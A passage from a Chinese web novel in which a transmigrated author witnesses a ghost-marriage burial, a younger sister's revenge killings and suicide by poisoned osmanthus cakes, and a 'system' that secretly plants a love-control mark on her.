徐宸,我知道你爱阿鸢,可她是我的亲妹妹,我也爱她,我不想让她死。
阿纸心里这般想着,她觉得自己对不住徐宸,明明徐宸爱的人是阿鸢,倘若徐宸还活着,那他也不愿阿鸢死吧。
她更对不住阿鸢。
花轿越走越远。
阿鸢依旧把自己关在房里,她不愿意看到阿姐与宸大哥大婚的场景。
村长家,村长还没用宴请村民,婚宴是在夜里办的,办的比较急促,毕竟徐宸等不了太久,只能说等徐宸好了之后再补办酒席。
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>只不过本该进京的那五名书生,却出现在了村长家门口,他们实在是心慌。
村长疑惑道:“你们怎么还不出发?”
几人面面相觑,他们害怕,还是王树说:“徐兄今日大婚,殿试在一月后,安宁村到京城坐驴车只要五天,我们晚一天进京也没事。”
“徐宸大婚只是走个过场,我也没用好酒好菜招待,没什么好看的,你们还是赶紧进京吧。”
村长不愿与他们多说,转头进了屋。
几人只能离开。
村西,阿鸢还是想看看自己阿姐出嫁时的模样,阿姐常说,女子嫁人是一生中最重要的时刻,她不想错过阿姐一生中最重要的时刻。
她狂奔着,生怕错过。
吉时已到,阿纸被媒婆搀扶进来,而李蕨抱着写有徐宸生辰八字的大公鸡代替。
“一拜天地!”
“二拜高堂!”
“夫妻对拜!”
“礼成———”
随着最后一句话落下,阿鸢也到了村长家门口,只是大门紧闭,她上去敲了门,没人应答,心中顿感不妙。
阿鸢来到一颗树边,她熟练地爬上树,借着树枝上了墙。
月光昏暗,她看见身着嫁衣的阿姐被人架到了后院,她只觉得奇怪。
待人走远,阿鸢翻过高墙,悄悄跟了上去。
空旷的后院,阿纸掀开盖头,一旁是棺材,一旁是媒婆,媒婆手里正拿着一个木盘,盘子上放着绣花针,红线。
阿纸只觉得此时的村长虚伪,恶心。
她放下狠话。
“徐言,你最好兑现你的诺言,不然我做鬼也不会放过你!”
徐言,村长的名字。
躲在一旁的阿鸢还不明白她要做什么,她只看见了棺材,没看见木盘里的东西。
村长笑眯眯地回:“你放心,日后,我自然会待阿鸢如亲生女儿一般。”
阿纸被人架着,阿鸢似乎意识到了即将发生的事,她想冲过去制止他们,却被人捂住了嘴,动弹不得,她奋力挣扎,可惜没用。
她只能眼睁睁地看着阿姐的嘴和眼睛被媒婆缝上,然后被塞进了棺材里。
阿鸢瞪大了双眼,挣扎得更加厉害,她要去救阿姐。
阿姐的呜咽声传入耳畔。
在即将封棺的那一刻,阿鸢终于承受不住刺激,眼一闭,晕了过去。
而身后的人正是李蕨,他本来好好地守在外面,却发现阿鸢闯了进来,倘若村长知道,那她怕是也得入棺。
“封棺!”
棺材板缓缓盖上,最后一点光亮消失在眼前,阿纸努力忽略掉眼睛和嘴上的疼痛。
空气渐渐稀薄,她喊不出声,但窒息感迫使她的身体自救,她开始上手想推开棺材板,虽然她知道自己这么做没有任何用处。
抓挠声逐渐减弱,随着最后一颗棺材钉钉下,抓绕声消失殆尽。
阿鸢再次醒来时,已经是次日清晨了,她发现自己在家,便以为那是梦,但害怕看到的场景是真的,便下床想找阿姐。
“阿姐!阿姐!”
李蕨正守在门口,听见动静,拦住了想要离开的阿鸢。
阿鸢认得他,是村长的人。
“你干什么?”她怒道。
李蕨低声说:“你别出去。”
35. 都杀
“我出不出去与你何干!”
阿鸢一下子就怒了,她推开李蕨,没推动,她放弃推他,质问道:“昨夜,是不是你拦着我的?”
李蕨点头承认。
“昨夜都是真的…………你拦我做什么,我阿姐呢?她为何会入棺?”
回应她的是李蕨的沉默,她吼道:“说话啊!”
“徐宸死了,村长想要为他配阴婚,本来想选你,但你阿姐替了你,所以入棺殉葬的是她。”
李蕨的话如晴天霹雳一般,阿鸢一时竟忘了呼吸。
徐宸死了,阿姐殉葬…………
喜不喜欢都已经不重要了,她只知道阿姐是因为自己才嫁给宸大哥的。
李蕨继续道:“倘若你上去了,你和你阿姐都会死。”
“那就一起死啊!”
话落,一道闪电划破天空,雷声响起,天空顿时乌云密布,像是要下雨的征兆。
阿鸢想也没想,转身来到后院,她拿起专门劈柴的斧子,气势汹汹地朝外面走去。
“你去哪?!”
“杀了他们!”
李蕨都被她惊到了,他没想到一个小姑娘竟然能把杀人说得那么轻松。
“等一下,村长虽然已经对外公开了徐宸死讯,但对外也说阿纸为情殉葬,你若是只想复仇,这么做是没用的。”
是啊,这样冲出去,可能一个人也杀不了。
村民们只会以为她在发疯,没人会理解她,他们都会站在村长那边。
她扔下斧头,问:“阿姐在哪儿?”
“已经埋了,埋在村东头的山上。”
阿鸢朝村东头跑去,路上下起了绵绵细雨。
村东头山上,杂草丛生。
阿鸢跟着李蕨来到两人坟前,她看着墓碑上刻着的字。
徐言爱子徐宸之墓
“阿姐呢?为什么上面只刻有宸大哥的字样?”
“阿纸殉葬,上面自然没有她的字。”
雨越下越大,雨水淋透了土地,淋湿了她的衣衫,却淋不灭她那颗想复仇的心。
他们要挟阿纸,利用阿纸,最后却阿纸这两个字都不愿意刻。
“好了,我们走吧。”李蕨本想将阿鸢带走,阿鸢却别开他的手,径直朝坟包走去。
“你干什么?”
李蕨真是看不明白阿鸢的举动。
“既然碑上没有刻阿姐的名字,那这就不是她的坟,我要带她回家。”
李蕨想把事情简单化,他说:“我现在刻好吧。”
“刻了我也要带她回家!”
阿鸢跪在坟边刨着土,准确来说是泥,混着雨水的泥。
李蕨无奈,他得回去了,出来太久村长会察觉的,他深深地看了一眼阿鸢,转身离去。
暴雨倾盆而下,雷声大作,阿鸢脸上泪水混着雨水,她什么都看不清,只是一味地刨着,指尖里满是泥土。
“阿姐,我来了。”
“你别怕,我来救你了。”
良久,阿鸢终于将整个棺材板挖了出来。可是她发现,棺材被钉子钉死,她放声大哭着,心中满是无助和委屈。
阿鸢哭了一会儿,便跌跌撞撞起身,她寻了块尖锐的石头砸棺,一下又一下,棺材板终于裂开,雨也终于停下。
她直接上手掰,任由着细小的木刺刺入掌心,她掰开一小块棺材板,发现有鲜血顺着棺材板滑落,她一看,板子的背面满是血淋淋的抓痕。
终于,阿纸的面容出现在阿鸢面前,她见到阿姐了,身旁还躺着徐宸。
最亲近的家人与昔日的恋人一同出现在自己面前,阿鸢只觉得天都塌了,她真的不知道该怎么办,她也只能先阿姐离开这个不属于她的坟墓。
阿纸脸色惨白,指尖上满是干涸的鲜血。
阿鸢将阿纸扶起,将阿纸抱在怀里嚎啕大哭,她想让阿姐像以前一样安慰她,给她擦眼泪,可是她也只能想想了。
“阿姐!阿姐你醒醒啊!”
“阿姐!”
凄惨的哭声回荡在林间,阿鸢一直哭到双眼刺痛,眼里再也没有泪水流下。
“阿姐,我带你回家。”
阿鸢将阿纸拖出棺材,背着她想朝山下走去,可脚步一顿,朝另一条小路下山。
她要从村东走到村西,不能直接走大道,想要避开村民,只能绕路。
阿鸢缓慢地走着,生怕颠到了背上的阿纸,倔强的脸,红着双眼,眼里满是恨意。
阿姐,我会帮你报仇的,我会让他们生不如死!
还有宸大哥,那几个书生也得死!
阿鸢走着走着,雨又下了,泥泞的土味混合着野草的气味,真是难闻。
在离开的路上,阿鸢遇到了一个黑袍人,她看不清黑袍人的面容。
黑袍人说能帮她复仇,取了她的血画出夺魂咒。
徐宸棺材被撬,阿纸的尸体不翼而飞。
村长很是愤怒,他第一个想到的就是阿鸢,他来到村西,走进屋子。
阿鸢神情呆滞地坐在门口,双眼无神,嘴里喊着。
“阿姐……阿姐……”
来往的村民都被吓了一跳,都在可怜她。
“她一直都是这副样子吗?”
李蕨回道:“是,自从得知她阿姐死后,她就一直坐在门口,像是在等她阿姐回来。”
“唉………”
村长见阿鸢这副模样,心里愧疚万分,原本对她的疑虑也打消了,他转身离去。
只是他没看见,在他转身后,阿鸢正恶狠狠地盯着他,恨不得将他生吞活剥了。
因为大雨,山路滑,那几个书生到现在还没出发,村长倒是急得要命,时刻操心着他们,全然忘了他们杀了自己的儿子。
雨夜,阿鸢持伞敲响了李蕨的家门。
“你怎么来我这儿了?”
李蕨连忙将她拉进屋子里,关上门一转身,一把刀架在了他的脖子上。
李蕨的样子倒是不慌不忙,他淡定地看着矮自己一头的姑娘。
“李蕨,你为什么没告发我?”
“什么?”
李蕨一愣,随后反应过来她问的问题。
“你只是挖了个坟而已,没什么好告发的。”
“那你愿意帮我吗?”
阿鸢来找他,也只是因为李蕨的眼神让他感到熟悉,像是…………像是见到了阿姐和宸大哥,她大抵是疯了。
不过没关系,若是李蕨开口的第一句是不答应,那李蕨的这条命,就拿来当做是她复仇的开端。
毕竟,以后的她可是要杀很多人的,而李蕨是见过她挖棺的人,留不得。
此话一出,李蕨突然觉得,如果不答应的话自己必死无疑,不过,他本就想答应。
“我愿意。”
阿鸢
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听着他那坚定的语气,有些差异,她问:“为什么?”
李蕨笑道:“你就当我……心善吧。”
“可以把你的刀移开了吗?”
阿鸢也同样笑了笑,眼睛明亮,“当然。”
随后,她把刀移开。
“你知道我让你帮我什么吗?”
李蕨:“不就是杀人吗?先杀谁?”
“推徐宸落水的孙荀?在一旁看热闹且见死不救的四个书生?提出配阴婚的相师?还是让你阿姐殉葬的村长,又或者是媒婆?”
这么多人,都是杀害阿姐与宸大哥的凶手。
阿鸢语气狠戾,口中缓缓吐出两字。
“都杀。”
包括你,拦着我救阿姐的李蕨。
李蕨没意识到自己也被拉入死人行列,他听后暗道,胃口真大。
很快,第一个死的人是媒婆,她当中缝了自己的眼睛和嘴。
第二个死的人是还没进京的书生,他溺毙在河中。
第三个,第四个,第五个都是那几个书生,他们同样溺毙在河里。
“怎么办呀,村里最近怎么死了那么多人?”
“我听说,是徐宸的鬼魂回来复仇了!”
白日,阿鸢依旧坐在家门前,嘴里喊着。
“阿姐,阿姐………”
黑夜,阿鸢穿着黑衣,肆意杀戮。
孙荀亲手将徐宸推入河中,其他人站在河边只知道看笑话,他们更是帮凶。
现在他们一个接一个地死了,孙荀心慌得很,他躲在房里根本不敢出来,吃食也只能送到房里。
李蕨趁孙荀他娘不在厨房时,翻窗调换了他的汤。
孙荀顺利喝下了那碗有咒的汤。
没多久,他的意识就迷迷糊糊,眼前更是出现了早已死去的徐宸。
徐宸浑身湿透,那双冰冷的手更是摸上了自己的脸,一直质问他为什么,孙荀吓得拼命大叫。
孙荀他娘以为是徐宸的鬼魂来了,求天求地的,还求到村长那儿去了,让村长帮忙想想办法。
这时,一直没离村的相师又开口了。
“令郎怕是因为阿纸离他而去,所以恼怒万分,现如今只能找人再嫁一次了。”
村长想到了阿鸢,阿鸢喜欢徐宸,肯定愿嫁。
村里发生那么多怪事,肯定和阿鸢脱不了关系,可他有愧于阿鸢,便没有去找她,但是为了村子的安宁,他只能让阿鸢嫁了。
一旁的李蕨皱起眉头,他已经在想接下来该怎么办了。
李蕨来到阿鸢家,阿鸢正在烧符。
他焦急道:“阿鸢,村长想让你嫁给徐宸,为他殉葬。”
她道:“是吗?还有好多人没死。”
李蕨看上去比阿鸢还急。
“怎么办?”
阿鸢随口道:“嫁啊,我当然得嫁,大婚前能杀多少杀多少,杀不了就大婚当日杀。”
宸大哥是生是死都已经不重要了,她做梦都想嫁给宸大哥。
“今晚大婚。”
“这么快…………”阿鸢只觉得留给她的时间还是太少了。
李蕨看着早已疯魔的阿鸢,心中不忍,语气里带着些许哀求:“阿鸢,要不算了,我带你离开村子。”
阿鸢抬眼看向他,眸中冰冷,高声道:“你什么意思?你怕了?”
“我不怕,我只是担心你…………”
36. 大仇得报
李蕨下意识反驳,但对上阿鸢那毫无波澜的眼神,他泄了气,道:“算了,我们去村长那里吧。”
村长家门前,阿鸢拍了拍自己的脸,尽量不要让自己的脸上出现恨意。
“村长,您找我?”
村长看着面前的阿鸢,她瘦了不少,脸色也不好。
他移开视线,掩下眼中的愧疚。
“阿鸢啊,你可还喜欢着徐宸?”
一说到宸大哥,阿鸢笑了,笑得明媚,她眼睛泛光,激动道:“喜欢,当然喜欢!”
站在门外的李蕨听后,心中苦涩。
“那你可愿为他殉葬?”
“殉葬………当然愿意。”
见阿鸢点头同意,村子激动地连说了三声好,兴奋的他也没注意到阿鸢眼底汹涌的恨意。
“好好好。”
村长有些迫不及待,恨不得现在就让阿鸢去殉葬,但他还是耐下性子,让阿鸢回家等着,晚些时候会有人去接她的。
临走前,阿鸢问了一个问题,她问:“村长,你可还记得我阿姐?”
村长一僵,道:“当然记得,怎么了?”
“阿姐出嫁前跟我说,村长会为我说一门好亲事,原来这亲事说得是宸大哥啊。”
阿鸢走了,她的话回荡在村长耳边,村长伫立在窗前,不知在想着什么。
当晚,阿鸢坐上花轿,她摩挲着身上的大红嫁衣,绣花针脚粗糙,显然是短时间内赶工赶出来的。
她掀开轿帘一角,看着夜空上的明月,明月好圆好圆,好亮好亮,她听阿姐说,爹娘死后飞到了月亮上,月亮的光照在她们身上,就是爹娘在触碰她们。
她和阿姐最喜欢在夜里放纸鸢了,虽然视线受阻,可当纸鸢与明月重叠的那一刻,她与姐姐仿佛见到了爹娘。
阿鸢抹掉眼泪,她可不愿乖乖殉葬,她要让所有人都知道,她是被村长逼迫的。
想到此处,她便大喊:“救命啊!救命啊!”
花轿外的媒婆都懵了,她是村长新请来的,见过许多不愿嫁人的新娘子,就是没见过光喊不动的。
之后,黎绕月就上来拦轿,阿鸢没想到竟然会有人来救她,情况有变,看来计划也得改变。
就这样,阿鸢冲出了轿子,跟着他们住进了客栈。
相师那日下午便拿了钱离村,毕竟他只是一个招摇撞骗的江湖术士,要是这次阿鸢殉葬后还死人的话,他怕是要露陷了。
在离村前一日,李蕨以村长的名义端了碗下咒的汤给他,相师没有防备,喝下后刚好在那颗槐树下发病。
李蕨则是去解决了剩下的人。
故事讲完,墓碑也已经刻好了。
阿鸢垂着头,岁忆谙看不清她的脸,只知道她轻描淡写地说完一切,仿佛经历这些的旁人,不是她。
“没想到那个相师为了钱,竟然还能说是徐宸鬼魂作祟,忽悠着村长让我替嫁。”
“本来想着在婚宴上与李蕨里应外合杀了他们的,你们竟然救了我。”
“不过没关系,起码让村民知道阿姐和宸大哥到底是怎么死的。”
“至于徐言,张口闭口都是为了村子好,他把那几个书生看得比自己亲生儿子的命还重要,不知晓的还以为他们才是他亲生儿子!”
“他觉得宸大哥自己一个人在下面太孤单了,既然如此,那我只好送他下去陪宸大哥。”
现在就差李蕨没死了,她还在思考,李蕨这条命她该不该留。
岁忆谙早已红了眼睛,泪水顺着脸颊滑落。
她真的没想到,她写的阴婚背后会是这么一段悲剧。
阿鸢抬头就看见了她的眼泪,她有些错愕,不过还是笑道:“怎么?被我的故事感动了?”
岁忆谙摇摇头,问道:“你报完仇了,那以后呢?”
“什么?”
“你以后怎么办?继续待在村子里,还是离开?”
阿鸢将墓碑立好,嗤笑一声:“呵,当然是离开。”
岁忆谙看到了她刻的墓碑,顿时大惊,墓碑上赫然写的阿纸、阿鸢之墓。
她口中的离开,怕是真的离开。
靳江浛看热闹不嫌事儿大,他轻飘飘地来了一句:“我要是你,就直接让整个村为阿纸和徐宸陪葬。”
岁忆谙呵斥:“你闭嘴!”
靳江浛脸上满是委屈,他乖乖站在岁忆谙身后,不再说话。
“陪葬…………这倒是个好法子。”
阴沉的天,时不时响起轰隆隆的雷声,仿佛在为她哀鸣。
滴答——滴答——
几颗水珠落在墓碑之上。
阿鸢仰头望天,嘴里喃喃:“雨要来了。”
阿鸢身旁放着一碟桂花糕,宸大哥最喜欢吃她做的桂花糕了,可惜他再也吃不到了,她拿起一块放入口中,又将碟子往岁忆谙的方向推了推,问:“吃吗?”
岁忆谙看了眼阿鸢,又看了眼桂花糕,蹲下身拿起一块。
零零零突然出声:【宿主别吃,糕点有毒!】
岁忆谙没理会零零零的话,她咬了一口,细细咀嚼,糕点很甜,甜到发腻,甜到发苦。
零零零见岁忆谙吃了糕点,急得扭曲着身子。
阿鸢见她吃得那么爽快,问:“你不怕我下毒?”
“感同身受吧,毕竟………我有罪。”
“你有罪?”
这话令阿鸢有些摸不着头脑,不过她有些兴奋,笑得格外单纯,她说:“什么罪?说出来让我听听,看看我这个凶手能不能把你也杀了。”
阿鸢眼里的探寻太过浓烈,岁忆谙垂下眼,不敢看她。
“我…………我不知该怎么说。”
“也许,这个世界的一切罪恶都源于我。”
岁忆谙垂下头来,看到了手里的桂花糕,零零零意识到宿主想要做什么,急忙开口。
零零零再次开口:【宿主,别吃!】
岁忆谙充耳不闻,她将桂花糕一口一口地吃着。
零零零吓得赶忙求助靳江浛,靳江浛一听,直接上手拍开桂花糕。
耳边还传来零零零焦急的话,零零零有时候真不理解宿主大人的举动,明知有毒,还是吃了。
靳江浛转身离开,岁忆谙不知晓他去哪儿,她突然开口说:“阿鸢,对不起。”
阿鸢愣怔,不解地问:“你为什么要说对不起?”
“我…………”
岁忆谙不知怎么回答,她转移话题:“我问你一个问题,你开心吗?”
岁忆谙想听见阿鸢说开心,或许这样的话,她心里的罪恶感还能降低。
可是阿鸢听后,原本平复下来的情绪又激动起来。
“大仇得报,我开心吗?阿姐死了,宸大哥死了,我再开心有什么用!”
“他们都死了,我又该怎么办呢?”
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说着说着,阿鸢突然面色痛苦,她捂着心口,一口血喷出。
突如其来的一幕,吓着了岁忆谙。
阿鸢抬眼站在她身边的岁忆谙,岁忆谙双眼含泪,她是不是看错了,岁忆谙看向自己的眼神中竟然带着愧疚。
愧疚?
为什么要愧疚?
阿鸢笑了,一个救了她的人对她愧疚,愧疚什么?愧疚没能阻止自己杀人吗?
哒哒哒的脚步声传来,靳江浛拉着华屿山来到岁忆谙面前。
其余几人跟在身后,正巧看见岁忆谙抱着阿鸢坐在地上。
靳江浛焦急道:“华屿山,救人。”
“救谁呀?”
靳江浛无语:“还能有谁?”
华屿山看着地上的两人,想着靳江浛应该不会管其他人吧…………
岁忆谙躲开他伸过来的手,道:“你别管我,先救她。”
华屿山见岁忆谙不配合,只能在先给阿鸢把脉。
白英空追上来,看见咳血的阿鸢万分疑惑。
“这是怎么了?”
阿鸢问:“徐言死了没有…………”
白英空懊恼:“死了,自戕而亡。”
听到答案的阿鸢畅快地大笑出声,血液随着笑声咳出。
血迹溅在了华屿山的衣摆上,他吓了一跳。
“别管我……”阿鸢虚弱出声,她抽回手,反过来抓住岁忆谙的手。
“一个两个都不让我救,真是的。”华屿山语气埋怨,但他还是拽着岁忆谙的手把上脉。
“不是什么大事,吃颗解毒丹就好了。”
华屿山从药箱子里拿出一个瓷瓶,说:“我只不救两种人,想死之人和九死一生之人,救这种人太耗我力气了。”
瓷瓶被放在一旁,想生就吃,想死就不吃,华屿山让她自己决定。
“你能不能…………不要死?”
岁忆谙声音带着哭腔,她哀求道。
她的声音好似有种魔力,阿鸢听后竟有了想要活下去的冲动,可活下去之后呢?她怕是一辈子都会活在痛苦之中。
“他们都死了,你说,我要以什么样的理由活下来?”
阿鸢只能选择死亡,除了死亡,她还能选择什么?
岁忆谙无言,她知道,这个世界上已经没有阿鸢值得留恋的人,事,物。
阿鸢直视着她。
“待我死后,记得将我与阿姐葬在一处。”
这句话正巧被前来找她的李蕨听见了,他缓缓走到阿鸢身前,跪下身看她。
“大仇得报,你就这么想死吗?”
阿鸢拧紧眉头,提着气道:“与你有何干系?”
“那我呢?”
听着李蕨的质问,阿鸢只觉得他跟怨夫一样。
“莫名其妙。”
“对!就是莫名其妙,莫名其妙地替你隐瞒,莫名其妙地帮你杀人,莫名其妙地…………”
“吃吗?”
李蕨话还没说完就被阿鸢打断,阿鸢瞥向一旁的桂花糕。
两人对视,眼底都是对方看不懂的情愫。
恨、爱、悲………
到底是真看不懂,还是不愿看懂,谁也不知。
刹那间,阿鸢的眼眸突然清明了几分,她用力握着岁忆谙的手,眼神死死地盯着她。
阿鸢说了最后一句话。
令岁忆谙终生难忘的一句话。
37. 昏厥
“岁忆谙…………我恨你。”
阿鸢死了,死在了岁忆谙面前,这是她说的最后一句话。
岁忆谙有一瞬心慌,阿鸢是不是知晓了些什么,所以才恨她。
怀中的阿鸢被李蕨抱走,李蕨将阿鸢放在坑中,然后拿着放在一旁的铁锹开始填坑。
岁忆谙一身红衣,细雨连绵,散落在她那乌黑的发丝上,犹如白霜,看着凄凉万分。
她浑浑噩噩地站起身来,只觉得指尖发颤,双腿发麻。
“恨我……”
“她说她恨我………”
这一切的源头都是她写的那两个字————阴婚。
若是没有阴婚二字,徐宸或许就不会死,阿纸就不会被要挟殉葬,阿鸢也不会寻死。
雨越下越大,狂风肆意,冰冷的雨水打击在岁忆谙身上,击得她步伐踉跄,只是还未走几步,胸口一阵疼痛。
噗!
一口血喷涌而出,下一瞬,岁忆谙整个身子摇晃,向后倒去。
靳江浛呼吸一窒,瞳孔骤缩,在岁忆谙即将倒地的那一刻,他一把将昏倒的人抱在怀里,大喊着她的名字。
柳微晴心惊,连忙将华屿山拉过来。
华屿山搭上岁忆谙的手腕,不过几秒,他语气轻松道:“没事儿,只是中毒了。”
客栈内,门窗被风吹哐哐作响,掌柜好不容易将门窗关严实,正想回房换身衣服,没想到下一秒,一道更大的声音响起。
砰的一声,门被人踹开,靳江浛抱着昏迷不醒的岁忆谙走了进来,径直朝楼上走去。
掌柜看着被踹烂的大门,还没来得及崩溃,一锭金子就朝他怀里飞来。
柳微晴:“赔你的门。”
掌柜一听,换上笑脸,心中的不满瞬间烟消云散。
淅淅沥沥的雨滴敲打在屋檐上,雨声响彻在空中。
岁忆谙是被饿醒的,她一睁眼就看见了守在床边的靳江浛。
靳江浛手里正拿着扇子给她扇风,见她醒了,松了口气。
“谙,你醒了,有没有哪里不舒服?”
岁忆谙面容憔悴,她捂着自己的肚子道:“我饿了。”
“好,我去准备。”
靳江浛离开后,岁忆谙坐起了身子,她有些懵,自己怎么突然晕了?
【零零零,我怎么晕了?】
【宿主大人,桂花糕有毒,您又没吃解药,自然会晕。】
没一会儿,敲门声响起。
“进!”
靳江浛推开门:“我问了华屿山,他说还是吃些清淡的比较好。”
岁忆谙下了床,来到桌前。
一碗看起来十分鲜美的面汤,汤底是用老母鸡熬的,上面放了鸡肉丝,撒了葱花点缀。
岁忆谙饿急了,狼吞虎咽地吃了起来,还没仔细尝出是什么味儿时,面就见底了,不过饱了就行。
吃饱喝足,精神一下子就好起来了,可这样就睡不着了。
夜色渐渐变得浓厚深沉,岁忆谙躺在床榻上翻来覆去,怎么样都睡不着,她轻轻起身离开房间,来到走廊,身后突然传来声音。
“姑娘,您去哪儿?”
回头一瞧,是柳微晴。
岁忆谙说:“我出去转转,你别跟着我。”
柳微晴一脸为难,说:“可是靳江浛会担心的。”
“你别管他。”
而靳江浛正待在华屿山厢房里,华屿山换上了一套淡灰色衣衫,刚刚溅上了阿鸢血的衣服被他扔进铜盆,随手打了个响指,衣服自燃。
柳微晴敲门进来,说:“岁姑娘出去了,她不让我跟着。”
华屿山一听,笑道:“刚醒就出去啊,看来没什么事。”
“不行,我得跟上去看看。”靳江浛身姿利落地离开厢房。
华屿山嚷嚷道:“你们都去了,我怎么办?你忍心让我一个人孤苦伶仃地留在这里!”
听见他的哀叨,靳江浛并未理会。
深夜的风冷飕飕的,岁忆谙本想随便走走,可是走着走着就看见了一家亮着烛火的丧葬铺。
她站在原地看了一会儿,抬脚走去。
漆黑的四周,唯有铺子灯火通明,砌在墙上的柜子里摆满了各式各样的纸钱,折好的金元宝,红白烛,各色寿衣。
铺子里只有一位老爷爷,他衣衫褴褛,皮肤皱巴,佝偻着身子走来。
“这位姑娘想买些什么?”
岁忆谙看得头晕目眩,她也不知道要买什么,便说:“您就帮我拿些祭奠用的就好。”
老爷爷点点头,转身边装纸钱去了。
“村子最近死了好多人,我看姑娘面生,不是村里人吧,这是要祭奠谁啊?”
苍老的声音突然响起,岁忆谙抬眸对上那双浑浊的双眼,轻声道:“村西的阿纸和阿鸢。”
老爷爷愣了一下,叹了口气:“她们啊,可惜了,都是可怜人,难为有人记得她们。”
阿纸和阿鸢的事他听说过,听说村长逼死了她的姐姐,村长愧疚自戕,而阿鸢也死了,不过正是因为阿鸢,他的生意都好起来了,改天拿些好东西烧给她吧。
这般想着,他手里多添了几份纸钱。
“好了姑娘,总共二十文。”
岁忆谙从布袋子里拿出二十文给了他,接过道谢。
雨早停了,岁忆谙一路来到村西后山,裙摆和鞋底都沾染上了湿漉漉的泥土。
凄凉的坟前,岁忆谙将火盆摆好,拿出纸钱,里面有金箔纸和铜钱纸两样,她点燃纸钱,一张一张地烧着。
远处响起了一道脚步声,岁忆谙并未察觉。
靳江浛没有走近,只是远远望着。
看着燃烧的纸钱,岁忆谙若有所思地抚摸着盘在手腕上的零零零,下一刻,她捏住黑王蛇的七寸。
零零零下意识开始扭曲起来,嘴里娇滴滴道:【宿主,您干什么?】
岁忆谙将黑王蛇放在手上盘玩,问:“零零零,你说,他们为什么要这样?”
零零零自然知道岁忆谙在问什么。
【可能他们的本性就是如此吧。】
“本性…………”
【宿主大人,您不必如此愧疚,毕竟您连名字都没给他们取。】
零零零落寞,它不懂,明明这件事就不是宿主造成的,忮忌他人的不是她,杀人的也不是她,宿主为何非要把一切拦在自己身上?
可岁忆谙觉得这不一样,当她写下阴婚两个之后,蝴蝶效应就开始了,一切的源头都是因为她。
零零零又说:【他们的死,他们的遭遇与您没有任何关系。】
岁忆谙:“真的没有任何关系吗?”<
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p>倘若她的文中没有出现阴婚两字,那自然是没有任何关系。
“我什么时候才能离开这里?”
只要离开这里,她就能改变一切,他们就不用经历生离死别了,她也不用心存愧疚。
作为写了多年的小说作者,坐在桌前书写他们的死亡,她不一定会感到悲伤和痛苦。
可亲眼看见他们所遭受的苦难,亲眼看见活生生的人死在她面前,这两种带来的感受终究是不一样的。
人总是能很好共情那些可怜人,起码她现在不再无能为力,而是有能力拯救他们了。
岁忆谙不知晓这句话正好落进了靳江浛的耳朵里,他心头一紧,接着听下去。
零零零扭了扭身子,不假思索道:【完成任务就好了呀。】
“任务是走完剧情,那我还要在这里呆多久?”
她问:“零零零,有没有速通任务的窍门给我?”
零零零用尾尖尴尬地抠了抠脑袋,心想,当然有啊,不过这窍门在大反派身上。
它道:【没有。】
零零零表面上云淡风轻,背地里它心慌得很。
跟着主角走完剧情这个任务本就是零零零编出来的,要是让岁忆谙知晓了真实任务,那她岂不得把自己剁了煲汤。
本来想着让两人培养培养出感情,让岁忆谙渐渐忘记回家的念头,谁知道靳江浛这么没用。
现在倒好,剧情走完后,岁忆谙要是回不了家,那她不得崩溃。
靳江浛的身影隐匿在树后,他垂眼,没想到岁忆谙一直都想要离开这里,他不允许这样的事情发生。
要是岁忆谙能爱上他就好了,那这样岁忆谙就舍不得离开他了吧。
纸钱即将燃尽,火光即将消失。
岁忆谙翻转手腕,零零零顺着手心盘旋,她撑着膝盖站起身来。
最后看了一眼墓碑,深深地朝坟墓鞠了三次躬,第三次起身的那一刻,突然从远处吹来一阵风,火焰熊熊燃起,热气扑来。
火盆里剩余的纸钱灰烬被风刮起,橙金色的火星子纷纷扬扬,犹如自由自在的萤火虫,燃尽的黄色纸钱飘向空中,好似翩翩飞舞的蝴蝶。
它们随风朝岁忆谙袭来,岁忆谙下意识抬手遮眼,那些纸灰围绕在她周身,脚步不稳被风吹得倒退几步。
眼前一黑,岁忆谙再一次失去意识。
“谙!”
靳江浛闪身来到岁忆谙跟前,将倒在地上的她抱起。
只是一秒,两人便消失在原地。
客栈内,华屿山正在求着柳微晴给自己一滴血时,两人出现在了他面前。
“谙又昏迷了,你快看看她。”
“放床上。”
靳江浛将岁忆谙放在床榻上,随后给华屿山让出位置。
岁忆谙的脸色苍白如雪,呼吸渐浅,仿佛随时就要断气一般。
华屿山在察看了岁忆谙最基础的病症后,他打开了药箱。
药箱里面摆满了五颜六色的瓶瓶罐罐,华屿山拉开最下层的抽屉,取出一包银针。
银针被华屿山输上了灵力,他一根一根地往岁忆谙手臂上的穴位刺下。
平日里,华屿山医人的时候,不管多重的病,多重的伤,他都是一副笑嘻嘻的模样,这是因为他知道他救得了。
面无表情,多半没救。
38. 爱
几人的动静惊到了黎绕月他们。
柳微晴守在门外,面对前来询问的几人,闭口不答,他们只好作罢。
零零零也被这猝不及防的一幕吓到了,它急忙扫描岁忆谙全身,得出来的结果令它大吃一惊。
回到系统空间,在空间里零零零是一团雾气,而它面前是另一团金色雾气。
零零零疑惑地问:“主系统,您这是做什么,为何要给她下爱上靳江浛的印记?!”
就在刚刚,零零零检测到了岁忆谙脑中有一朵金色的三色堇,这是控制爱的印记。
那团金色的雾气开口:“为的就是控制靳江浛的怨气,让他不会摧毁掉这个世界,岁忆谙会爱上靳江浛,直到她愿意为靳江浛抛弃所有。”
岁忆谙不会一下子就爱上靳江浛,而是会慢慢爱上。
“这是靳江浛的意愿。”
零零零忍不住大声质问:“这个世界对您来说有那么重要吗?宁愿控制岁忆谙都不愿摧毁一个纸片人?!”
主系统竟然为了一个书中世界,为了一个纸片人,对一个活生生的人下手,这令零零零大为震撼。
“每个世界都很重要。”
在系统手册里的第一条就是,为了任务,系统可以放弃一切,包括宿主。
零零零的意识离开系统空间,回到黑王蛇身上,它抬起身子,看着昏迷不醒的岁忆谙,程序变成了一团乱码。
这可是它绑定的第一位宿主啊。
其他的系统总是说它们绑定的宿主不好,说什么贪得无厌,还总是利用它们干这干那儿。
她的宿主不一样…………虽然脾气有点暴躁。
不知不觉,雨又下了良久。
华屿山收回银针,重重地呼了口气。
靳江浛这才敢上前询问:“她这是怎么了?”
“脉象细弱无力,将死征兆,不知何因。”华屿山也不知岁忆谙怎么了,只能暂且用银针稳住她的心脉
“为何不知?那可有法子救她?”靳江浛语气颤抖。
华屿山收起银针,说:“容我想想,你先抱她回房吧。”
话落,岁忆谙睁眼了,她猛地从床上坐起,只觉得脑袋昏昏沉沉,好像被塞进了什么东西。
“谙,你醒了。”
“让让让让,我看看。”
靳江浛还未上前就被华屿山推到一边,虽说他医术精湛,但能让将死之人这么快苏醒也是有些困难。
华屿山把上岁忆谙的脉搏,眉头越拧越紧。
“脉象平稳…………平稳?!”
